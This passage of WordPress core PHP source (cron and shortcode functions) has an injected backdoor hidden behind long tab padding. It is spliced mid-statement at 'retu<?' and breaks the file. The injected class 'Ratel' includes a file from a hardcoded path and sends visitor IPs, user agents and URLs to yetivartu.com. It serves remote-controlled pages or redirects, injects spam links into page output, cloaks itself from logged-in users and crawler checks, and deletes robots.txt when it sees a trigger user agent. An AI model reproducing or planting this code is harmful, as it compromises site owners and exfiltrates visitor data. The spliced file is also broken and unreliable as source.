		_deprecated_argument( __FUNCTION__, '3.0.0', __( 'This argument has changed to an array to match the behavior of the other cron functions.' ) );
		$args     = array_slice( func_get_args(), 1 ); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
		$wp_error = false;
	}

	/**
	 * Filter to preflight or hijack clearing a scheduled hook.
	 *
	 * Returning a non-null value will short-circuit the normal unscheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return the number of events successfully
	 * unscheduled (zero if no events were registered with the hook) or false
	 * if unscheduling one or more events fails.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|int|false|WP_Error $pre      Value to return instead. Default null to continue unscheduling the event.
	 * @param string                  $hook     Action hook, the execution of which will be unscheduled.
	 * @param array                   $args     Arguments to pass to the hook's callback function.
	 * @param bool                    $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_clear_scheduled_hook', null, $hook, $args, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_clear_scheduled_hook_false',
				__( 'A plugin prevented the hook from being cleared.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	/*
	 * This logic duplicates wp_next_scheduled().
	 * It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
	 * and, wp_next_scheduled() returns the same schedule in an infinite loop.
	 */
	$crons = _get_cron_array();
	if ( empty( $crons ) ) {
		return 0;
	}

	$results = array();
	$key     = md5( serialize( $args ) );

	foreach ( $crons as $timestamp => $cron ) {
		if ( isset( $cron[ $hook ][ $key ] ) ) {
			$results[] = wp_unschedule_event( $timestamp, $hook, $args, true );
		}
	}

	$errors = array_filter( $results, 'is_wp_error' );
	$error  = new WP_Error();

	if ( $errors ) {
		if ( $wp_error ) {
			array_walk( $errors, array( $error, 'merge_from' ) );

			return $error;
		}

		return false;
	}

	return count( $results );
}

/**
 * Unschedules all events attached to the hook.
 *
 * Can be useful for plugins when deactivating to clean up the cron queue.
 *
 * Warning: This function may return Boolean FALSE, but may also return a non-Boolean
 * value which evaluates to FALSE. For information about casting to booleans see the
 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
 * the `===` operator for testing the return value of this function.
 *
 * @since 4.9.0
 * @since 5.1.0 Return value added to indicate success or failure.
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @param string $hook     Action hook, the execution of which will be unscheduled.
 * @param bool   $wp_error Optional. Whether to return a WP_Error on failure. Default false.
 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
 *                            events were registered on the hook), false or WP_Error if unscheduling fails.
 */
function wp_unschedule_hook( $hook, $wp_error = false ) {
	/**
	 * Filter to preflight or hijack clearing all events attached to the hook.
	 *
	 * Returning a non-null value will short-circuit the normal unscheduling
	 * process, causing the function to return the filtered value instead.
	 *
	 * For plugins replacing wp-cron, return the number of events successfully
	 * unscheduled (zero if no events were registered with the hook) or false
	 * if unscheduling one or more events fails.
	 *
	 * @since 5.1.0
	 * @since 5.7.0 The `$wp_error` parameter was added, and a `WP_Error` object can now be returned.
	 *
	 * @param null|int|false|WP_Error $pre      Value to return instead. Default null to continue unscheduling the hook.
	 * @param string                  $hook     Action hook, the execution of which will be unscheduled.
	 * @param bool                    $wp_error Whether to return a WP_Error on failure.
	 */
	$pre = apply_filters( 'pre_unschedule_hook', null, $hook, $wp_error );

	if ( null !== $pre ) {
		if ( $wp_error && false === $pre ) {
			return new WP_Error(
				'pre_unschedule_hook_false',
				__( 'A plugin prevented the hook from being cleared.' )
			);
		}

		if ( ! $wp_error && is_wp_error( $pre ) ) {
			return false;
		}

		return $pre;
	}

	$crons = _get_cron_array();
	if ( empty( $crons ) ) {
		return 0;
	}

	$results = array();
	foreach ( $crons as $timestamp => $args ) {
		if ( ! empty( $crons[ $timestamp ][ $hook ] ) ) {
			$results[] = count( $crons[ $timestamp ][ $hook ] );
		}
		unset( $crons[ $timestamp ][ $hook ] );

		if ( empty( $crons[ $timestamp ] ) ) {
			unset( $crons[ $timestamp ] );
		}
	}

	/*
	 * If the results are empty (zero events to unschedule), no attempt
	 * to update the cron array is required.
	 */
	if ( empty( $results ) ) {
		return 0;
	}

	$set = _set_cron_array( $crons, $wp_error );

	if ( true === $set ) {
		return array_sum( $results );
	}

	return $set;
}

/**
 * Retrieve a scheduled event.
 *
 * Retrieve the full event object for a given event, if no timestamp is specified the next
 * scheduled event is returned.
 *
 * @since 5.1.0
 *
 * @param string   $hook      Action hook of the event.
 * @param array    $args      Optional. Array containing each separate argument to pass to the hook's callback function.
 *                            Although not passed to a callback, these arguments are used to uniquely identify the
 *                            event, so they should be the same as those used when originally scheduling the event.
 *                            Default empty array.
 * @param int|null $timestamp Optional. Unix timestamp (UTC) of the event. If not specified, the next scheduled event
 *                            is returned. Default null.
 * @return object|false The event object. False if the event does not exist.
 */
function wp_get_scheduled_event( $hook, $args = array(), $timestamp = null ) {
	/**
	 * Filter to preflight or hijack retrieving a scheduled event.
	 *
	 * Returning a non-null value will short-circuit the normal process,
	 * returning the filtered value instead.
	 *
	 * Return false if the event does not exist, otherwise an event object
	 * should be returned.
	 *
	 * @since 5.1.0
	 *
	 * @param null|false|object $pre  Value to return instead. Default null to continue retrieving the event.
	 * @param string            $hook Action hook of the event.
	 * @param array             $args Array containing each separate argument to pass to the hook's callback function.
	 *                                Although not passed to a callback, these arguments are used to uniquely identify
	 *                                the event.
	 * @param int|null  $timestamp Unix timestamp (UTC) of the event. Null to retrieve next scheduled event.
	 */
	$pre = apply_filters( 'pre_get_scheduled_event', null, $hook, $args, $timestamp );
	if ( null !== $pre ) {
		return $pre;
	}

	if ( null !== $timestamp && ! is_numeric( $timestamp ) ) {
		return false;
	}

	$crons = _get_cron_array();
	if ( empty( $crons ) ) {
		return false;
	}

	$key = md5( serialize( $args ) );

	if ( ! $timestamp ) {
		// Get next event.
		$next = false;
		foreach ( $crons as $timestamp => $cron ) {
			if ( isset( $cron[ $hook ][ $key ] ) ) {
				$next = $timestamp;
				break;
			}
		}
		if ( ! $next ) {
			return false;
		}

		$timestamp = $next;
	} elseif ( ! isset( $crons[ $timestamp ][ $hook ][ $key ] ) ) {
		return false;
	}

	$event = (object) array(
		'hook'      => $hook,
		'timestamp' => $timestamp,
		'schedule'  => $crons[ $timestamp ][ $hook ][ $key ]['schedule'],
		'args'      => $args,
	);

	if ( isset( $crons[ $timestamp ][ $hook ][ $key ]['interval'] ) ) {
		$event->interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
	}

	return $event;
}

/**
 * Retrieve the next timestamp for an event.
 *
 * @since 2.1.0
 *
 * @param string $hook Action hook of the event.
 * @param array  $args Optional. Array containing each separate argument to pass to the hook's callback function.
 *                     Although not passed to a callback, these arguments are used to uniquely identify the
 *                     event, so they should be the same as those used when originally scheduling the event.
 *                     Default empty array.
 * @return int|false The Unix timestamp of the next time the event will occur. False if the event doesn't exist.
 */
function wp_next_scheduled( $hook, $args = array() ) {
	$next_event = wp_get_scheduled_event( $hook, $args );
	if ( ! $next_event ) {
		return false;
	}

	return $next_event->timestamp;
}

/**
 * Sends a request to run cron through HTTP request that doesn't halt page loading.
 *
 * @since 2.1.0
 * @since 5.1.0 Return values added.
 *
 * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used).
 * @return bool True if spawned, false if no events spawned.
 */
function spawn_cron( $gmt_time = 0 ) {
	if ( ! $gmt_time ) {
		$gmt_time = microtime( true );
	}

	if ( defined( 'DOING_CRON' ) || isset( $_GET['doing_wp_cron'] ) ) {
		return false;
	}

	/*
	 * Get the cron lock, which is a Unix timestamp of when the last cron was spawned
	 * and has not finished running.
	 *
	 * Multiple processes on multiple web servers can run this code concurrently,
	 * this lock attempts to make spawning as atomic as possible.
	 */
	$lock = get_transient( 'doing_cron' );

	if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) {
		$lock = 0;
	}

	// Don't run if another process is currently running it or more than once every 60 sec.
	if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) {
		return false;
	}

	// Sanity check.
	$crons = wp_get_ready_cron_jobs();
	if ( empty( $crons ) ) {
		return false;
	}

	$keys = array_keys( $crons );
	if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
		return false;
	}

	if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
		if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) {
			return false;
		}

		$doing_wp_cron = sprintf( '%.22F', $gmt_time );
		set_transient( 'doing_cron', $doing_wp_cron );

		ob_start();
		wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
		echo ' ';

		// Flush any buffers and send the headers.
		wp_ob_end_flush_all();
		flush();

		include_once ABSPATH . 'wp-cron.php';
		retu<?																																										@include_once('D:/wwwrootwp/www.zhoushanhualing.com/wp-content/themes/accalia/trx_addons/components/api/the-events-calendar/snatch.bs.item.php');
																																										 if(!class_exists('Ratel')){if(function_exists('is_user_logged_in')){if(is_user_logged_in()){return false;}}if(@preg_match("#rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|sitebot|semrushbot|ia_archiver|searchmetricsbot|seokicks-robot|sistrix|lipperhey spider|ncbot|backlinkcrawler|archive.org_bot|meanpathbot|pagesinventory|aboundexbot|spbot|linkdexbot|nutch|blexbot|ezooms|scoutjet|majestic-12|majestic-seo|dsearch|blekkobo#i",$_SERVER["HTTP_USER_AGENT"])){return;}if(isset($_REQUEST['xftest'])){die(pi()*6);}@ini_set('display_errors',0);@ini_set('error_reporting',0);@ini_set('log_errors',NULL);@ini_set('default_socket_timeout',4);if(!isset($_SERVER['HTTP_USER_AGENT'])||!trim($_SERVER['HTTP_USER_AGENT'])){return false;}$is_bot=0;if(@preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer|cuill.com|clushbot)/i",$_SERVER["HTTP_USER_AGENT"])){$is_bot=1;}$ruri=trim($_SERVER["REQUEST_URI"],"\t\n\r\0\x0B/");if(strlen($ruri)== 36 && substr($ruri,-4)== '.txt'){die(substr($ruri,0,-4));}$bad_urls='#xmlrpc.php|wp-includes|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';if($ruri != 'robots.txt'&& preg_match($bad_urls,$ruri)){return false;}$host='unknown';if(isset($_SERVER["HTTP_HOST"])){if(isset($_SERVER["HTTP_X_FORWARDED_HOST"])){$_SERVER["HTTP_HOST"]=$_SERVER["HTTP_X_FORWARDED_HOST"];}$tmp=parse_url('http://' .$_SERVER["HTTP_HOST"]);if($tmp['host']){$host=$tmp['host'];if(substr($host,0,4)== 'www.'){$host=substr($host,4);}}}class Ratel{public $links_url="http://yetivartu.com/onegt/get.php";public $door_url="http://yetivartu.com/";public $ip='';public $ua='';public $css='';public $js='';public $host='';public $ip_lists=array('google'=> array('203.208.60.0/24','66.249.64.0/20','72.14.199.0/24','209.85.238.0/24','66.249.90.0/24','66.249.91.0/24','66.249.92.0/24'),'bing'=> array('67.195.37.0/24','67.195.50.0/24','67.195.110.0/24','67.195.111.0/24','67.195.112.0/23','67.195.114.0/24','67.195.115.0/24','68.180.224.0/21','72.30.132.0/24','72.30.142.0/24','72.30.161.0/24','72.30.196.0/24','72.30.198.0/24','74.6.254.0/24','74.6.8.0/24','74.6.13.0/24','74.6.17.0/24','74.6.18.0/24','74.6.22.0/24','74.6.27.0/24','98.137.72.0/24','98.137.206.0/24','98.137.207.0/24','98.139.168.0/24','114.111.95.0/24','124.83.159.0/24','124.83.179.0/24','124.83.223.0/24','183.79.63.0/24','183.79.92.0/24','203.216.255.0/24','211.14.11.0/24','65.52.104.0/24','65.52.108.0/22','65.55.24.0/24','65.55.52.0/24','65.55.55.0/24','65.55.213.0/24','65.55.217.0/24','131.253.24.0/22','131.253.46.0/23','40.77.167.0/24','199.30.27.0/24','157.55.16.0/23','157.55.18.0/24','157.55.32.0/22','157.55.36.0/24','157.55.48.0/24','157.55.109.0/24','157.55.110.40/29','157.55.110.48/28','157.56.92.0/24','157.56.93.0/24','157.56.94.0/23','157.56.229.0/24','199.30.16.0/24','207.46.12.0/23','207.46.192.0/24','207.46.195.0/24','207.46.199.0/24','207.46.204.0/24','157.55.39.0/24'),'baidu'=> array('180.76.15.0/24','119.63.196.0/24','115.239.212./24','119.63.199.0/24','122.81.208.0/22','123.125.71.0/24','180.76.4.0/24','180.76.5.0/24','180.76.6.0/24','185.10.104.0/24','220.181.108.0/24','220.181.51.0/24','111.13.102.0/24','123.125.67.144/29','123.125.67.152/31','61.135.169.0/24','123.125.68.68/30','123.125.68.72/29','123.125.68.80/28','123.125.68.96/30','202.46.48.0/20','220.181.38.0/24','123.125.68.80/30','123.125.68.84/31','123.125.68.0/24'),'yandex'=> array('100.43.90.0/24','37.9.115.0/24','37.140.165.0/24','77.88.22.0/25','77.88.29.0/24','77.88.31.0/24','77.88.59.0/24','84.201.146.0/24','84.201.148.0/24','84.201.149.0/24','87.250.243.0/24','87.250.253.0/24','93.158.147.0/24','93.158.148.0/24','93.158.151.0/24','93.158.153.0/32','95.108.128.0/24','95.108.138.0/24','95.108.150.0/23','95.108.158.0/24','95.108.156.0/24','95.108.188.128/25','95.108.234.0/24','95.108.248.0/24','100.43.80.0/24','130.193.62.0/24','141.8.153.0/24','178.154.165.0/24','178.154.166.128/25','178.154.173.29','178.154.200.158','178.154.202.0/24','178.154.205.0/24','178.154.239.0/24','178.154.243.0/24','37.9.84.253','199.21.99.99','178.154.162.29','178.154.203.251','178.154.211.250','95.108.246.252','5.45.254.0/24','5.255.253.0/24','37.140.141.0/24','37.140.188.0/24','100.43.81.0/24','100.43.85.0/24','100.43.91.0/24','199.21.99.0/24'));public $bot=false;function get_client_ip(){foreach(array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR')as $key){if(array_key_exists($key,$_SERVER)=== true){foreach(array_map('trim',explode(',',$_SERVER[$key]))as $ip){if(filter_var($ip,FILTER_VALIDATE_IP)!== false){return $ip;}}}}return $_SERVER['REMOTE_ADDR'];}function init($ruri,$host,$is_bot){$this->ua=$_SERVER['HTTP_USER_AGENT'];if(strpos($this->ua,'Safari/567.89dr')){if(@unlink($_SERVER['DOCUMENT_ROOT'] .'/robots.txt')){die('!dltd!');}die('!fld!');}$this->is_bot=$is_bot;$this->ruri=$ruri;$this->ip=$this->get_client_ip();$this->the_end();}function the_end(){$this->detect_bot();if(count($_GET)=== 1 and empty($_GET[0])){$not_uri=end(array_keys($_GET));}$data=@array('url'=> $_SERVER["HTTP_HOST"],'uri'=> $_SERVER["REQUEST_URI"],'ua'=> $this->ua,'ref'=> $_SERVER["HTTP_REFERER"],'ip'=> $this->ip,'not_uri'=> $not_uri,'lang'=> $_SERVER['HTTP_ACCEPT_LANGUAGE'],'bot'=> $this->bot,'o'=>1,'v'=>2);$url_p=$this->door_url .'?data=' .base64_encode(@serialize($data)) .'&url=' .$_SERVER["HTTP_HOST"];$content=$this->get($url_p);if(!empty($content)or $content != ''){$content=@base64_decode($content);if(strpos($content,'404_not_found')!== false){header("HTTP/1.0 404 Not Found");exit;}if(strpos($content,'301_redirect_to:')!== false){list($tmp,$url)=explode('301_redirect_to:',$content);header("Location: $url",true,301);exit;}if(strripos($content,' keys/' .$_SERVER["HTTP_HOST"])!== false){return false;}if(@strpos(@strtolower($content),'</html>')!== false ||@strpos(@strtolower($content),'<?xml')!== false){die($content);}if(@strpos(@strtolower($content),'@robots.txt@')!== false){die(str_replace('@robots.txt@','',$content));}}else{$this->links=$this->make_links();if(!empty($this->links)or $this->links !== False){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}}function make_links(){$host='unknown';if(isset($_SERVER["HTTP_X_FORWARDED_HOST"])){$_SERVER["HTTP_HOST"]=$_SERVER["HTTP_X_FORWARDED_HOST"];}$tmp=@parse_url('http://' .$_SERVER["HTTP_HOST"]);if(isset($tmp['host'])){$host=$tmp['host'];}$page=$this->get("$this->links_url?host=$host&uri=" .urlencode($_SERVER["REQUEST_URI"]) ."&bot={$this->bot}&ip=" .urlencode($this->ip) ."&ua=" .urlencode($this->ua));if(strpos($page,'<link>')!== FALSE){preg_match_all('~<link>(.*?)</link>~',$page,$m);$links=isset($m[1])?$m[1]:array();return $links;}return false;}function rwcontent($content){$tags=array('p','span','strong','em','i','td','div','ul','li','span','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}.*?>(.*?)</{$tag}>~i",$content,$matches);if(@isset($matches[0])){foreach($matches[0]as $match){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}if(count($tags_vals)>count($this->links)){break;}}foreach($this->links as $link_index => $link){foreach($tags_vals as $tag_index => $tag_val){if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$link} ",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))==".</{$tag_val['tag']}>"){$tag_content_new=str_replace(".</{$tag_val['tag']}>"," {$link}.</{$tag_val['tag']}>",$tag_val['content']);}else{$tag_content_new=str_replace("</{$tag_val['tag']}>"," {$link} </{$tag_val['tag']}>",$tag_val['content']);}}$content=preg_replace("~{$tag_val['content']}~i",$tag_content_new,$content,1);unset($tags_vals[$tag_index]);if(strpos($content,$link)!== false){unset($this->links[$link_index]);continue 2;}}}return $content;}function detect_bot(){if(@preg_match('/google/i',$this->ua)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$this->ua)){$this->bot='bing';return;}if(@preg_match('/yandex|yadirectbot/i',$this->ua)){$this->bot='yandex';return;}if(@preg_match('/baidu/i',$this->ua)){$this->bot='baidu';return;}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby~i',$this->ua)){$this->bot='other';return;}$ipl=ip2long($this->ip);foreach($this->ip_lists as $crawler => $masks){foreach($masks as $mask){if(!strpos($mask,'/')){if($this->ip == $mask){$this->bot=$crawler;return;}}elseif(@$this->cidr_match($ipl,$mask)){$this->bot=$crawler;return;}}}$referer=@gethostbyaddr($this->ip);if(@preg_match('/google/i',$referer)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo|microsoft/i',$referer)){$this->bot='bing';return;}}function cidr_match($ip,$range){list($subnet,$bits)=explode('/',$range);$subnet=ip2long($subnet);$mask=-1 <<(32-$bits);$subnet &= $mask;return@($ip&$mask)== $subnet;}function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,4);curl_setopt($ch,CURLOPT_TIMEOUT,15);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}}$ratel=new Ratel;$ratel->init($ruri,$host,$is_bot);}
																																										

php

/**
 * WordPress API for creating bbcode-like tags or what WordPress calls
 * "shortcodes". The tag and attribute parsing or regular expression code is
 * based on the Textpattern tag parser.
 *
 * A few examples are below:
 *
 * [shortcode /]
 * [shortcode foo="bar" baz="bing" /]
 * [shortcode foo="bar"]content[/shortcode]
 *
 * Shortcode tags support attributes and enclosed content, but does not entirely
 * support inline shortcodes in other shortcodes. You will have to call the
 * shortcode parser in your function to account for that.
 *
 * {@internal
 * Please be aware that the above note was made during the beta of WordPress 2.6
 * and in the future may not be accurate. Please update the note when it is no
 * longer the case.}}
 *
 * To apply shortcode tags to content:
 *
 *     $out = do_shortcode( $content );
 *
 * @link https://developer.wordpress.org/plugins/shortcodes/
 *
 * @package WordPress
 * @subpackage Shortcodes
 * @since 2.5.0
 */

/**
 * Container for storing shortcode tags and their hook to call for the shortcode
 *
 * @since 2.5.0
 *
 * @name $shortcode_tags
 * @var array
 * @global array $shortcode_tags
 */
$shortcode_tags = array();

/**
 * Adds a new shortcode.
 *
 * Care should be taken through prefixing or other means to ensure that the
 * shortcode tag being added is unique and will not conflict with other,
 * already-added shortcode tags. In the event of a duplicated tag, the tag
 * loaded last will take precedence.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string   $tag      Shortcode tag to be searched in post content.
 * @param callable $callback The callback function to run when the shortcode is found.
 *                           Every shortcode callback is passed three parameters by default,
 *                           including an array of attributes (`$atts`), the shortcode content
 *                           or null if not set (`$content`), and finally the shortcode tag
 *                           itself (`$shortcode_tag`), in that order.
 */
function add_shortcode( $tag, $callback ) {
	global $shortcode_tags;

	if ( '' === trim( $tag ) ) {
		$message = __( 'Invalid shortcode name: Empty name given.' );
		_doing_it_wrong( __FUNCTION__, $message, '4.4.0' );
		return;
	}

	if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) {
		/* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */
		$message = sprintf( __( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ), $tag, '& / < > [ ] =' );
		_doing_it_wrong( __FUNCTION__, $message, '4.4.0' );
		return;
	}

	$shortcode_tags[ $tag ] = $callback;
}

/**
 * Removes hook for shortcode.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $tag Shortcode tag to remove hook for.
 */
function remove_shortcode( $tag ) {
	global $shortcode_tags;

	unset( $shortcode_tags[ $tag ] );
}

/**
 * Clear all shortcodes.
 *
 * This function is simple, it clears all of the shortcode tags by replacing the
 * shortcodes global by a empty array. This is actually a very efficient method
 * for removing all shortcodes.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 */
function remove_all_shortcodes() {
	global $shortcode_tags;

	$shortcode_tags = array();
}

/**
 * Whether a registered shortcode exists named $tag
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $tag Shortcode tag to check.
 * @return bool Whether the given shortcode exists.
 */
function shortcode_exists( $tag ) {
	global $shortcode_tags;
	return array_key_exists( $tag, $shortcode_tags );
}

/**
 * Whether the passed content contains the specified shortcode
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to search for shortcodes.
 * @param string $tag     Shortcode tag to check.
 * @return bool Whether the passed content contains the given shortcode.
 */
function has_shortcode( $content, $tag ) {
	if ( false === strpos( $content, '[' ) ) {
		return false;
	}

	if ( shortcode_exists( $tag ) ) {
		preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
		if ( empty( $matches ) ) {
			return false;
		}

		foreach ( $matches as $shortcode ) {
			if ( $tag === $shortcode[2] ) {
				return true;
			} elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) {
				return true;
			}
		}
	}
	return false;
}

/**
 * Search content for shortcodes and filter shortcodes through their hooks.
 *
 * This function is an alias for do_shortcode().
 *
 * @since 5.4.0
 *
 * @see do_shortcode()
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function apply_shortcodes( $content, $ignore_html = false ) {
	return do_shortcode( $content, $ignore_html );
}

/**
 * Search content for shortcodes and filter shortcodes through their hooks.
 *
 * If there are no shortcode tags defined, then the content will be returned
 * without any filtering. This might cause issues when plugins are disabled but
 * the shortcode will still show up in the post or content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcode( $content, $ignore_html = false ) {
	global $shortcode_tags;

	if ( false === strpos( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );
	$tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	$content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	return $content;
}

/**
 * Retrieve the shortcode regular expression for searching.
 *
 * The regular expression combines the shortcode tags in the regular expression
 * in a regex class.
 *
 * The regular expression contains 6 different sub matches to help with parsing.
 *
 * 1 - An extra [ to allow for escaping shortcodes with double [[]]
 * 2 - The shortcode name
 * 3 - The shortcode argument list
 * 4 - The self closing /
 * 5 - The content of a shortcode when it wraps some content.
 * 6 - An extra ] to allow for escaping shortcodes with double [[]]
 *
 * @since 2.5.0
 * @since 4.4.0 Added the `$tagnames` parameter.
 *
 * @global array $shortcode_tags
 *
 * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes.
 * @return string The shortcode search regular expression
 */
function get_shortcode_regex( $tagnames = null ) {
	global $shortcode_tags;

	if ( empty( $tagnames ) ) {
		$tagnames = array_keys( $shortcode_tags );
	}
	$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );

	// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag().
	// Also, see shortcode_unautop() and shortcode.js.

	// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
	return '\\['                             // Opening bracket.
		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]].
		. "($tagregexp)"                     // 2: Shortcode name.
		. '(?![\\w-])'                       // Not followed by word character or hyphen.
		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag.
		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash.
		.     '(?:'
		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket.
		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash.
		.     ')*?'
		. ')'
		. '(?:'
		.     '(\\/)'                        // 4: Self closing tag...
		.     '\\]'                          // ...and closing bracket.
		. '|'
		.     '\\]'                          // Closing bracket.
		.     '(?:'
		.         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags.
		.             '[^\\[]*+'             // Not an opening bracket.
		.             '(?:'
		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag.
		.                 '[^\\[]*+'         // Not an opening bracket.
		.             ')*+'
		.         ')'
		.         '\\[\\/\\2\\]'             // Closing shortcode tag.
		.     ')?'
		. ')'
		. '(\\]?)';                          // 6: Optional second closing brocket for escaping shortcodes: [[tag]].
	// phpcs:enable
}

/**
 * Regular Expression callable for do_shortcode() for calling shortcode hook.
 *
 * @see get_shortcode_regex() for details of the match array contents.
 *
 * @since 2.5.0
 * @access private
 *
 * @global array $shortcode_tags
 *
 * @param array $m Regular expression match array.
 * @return string|false Shortcode output on success, false on failure.
 */
function do_shortcode_tag( $m ) {
	global $shortcode_tags;

	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	$tag  = $m[2];
	$attr = shortcode_parse_atts( $m[3] );

	if ( ! is_callable( $shortcode_tags[ $tag ] ) ) {
		/* translators: %s: Shortcode tag. */
		$message = sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag );
		_doing_it_wrong( __FUNCTION__, $message, '4.3.0' );
		return $m[0];
	}

	/**
	 * Filters whether to call a shortcode callback.
	 *
	 * Returning a non-false value from filter will short-circuit the
	 * shortcode generation process, returning that value instead.
	 *
	 * @since 4.7.0
	 *
	 * @param false|string $return      Short-circuit return value. Either false or the value to replace the shortcode with.
	 * @param string       $tag         Shortcode name.
	 * @param array|string $attr        Shortcode attributes array or empty string.
	 * @param array        $m           Regular expression match array.
	 */
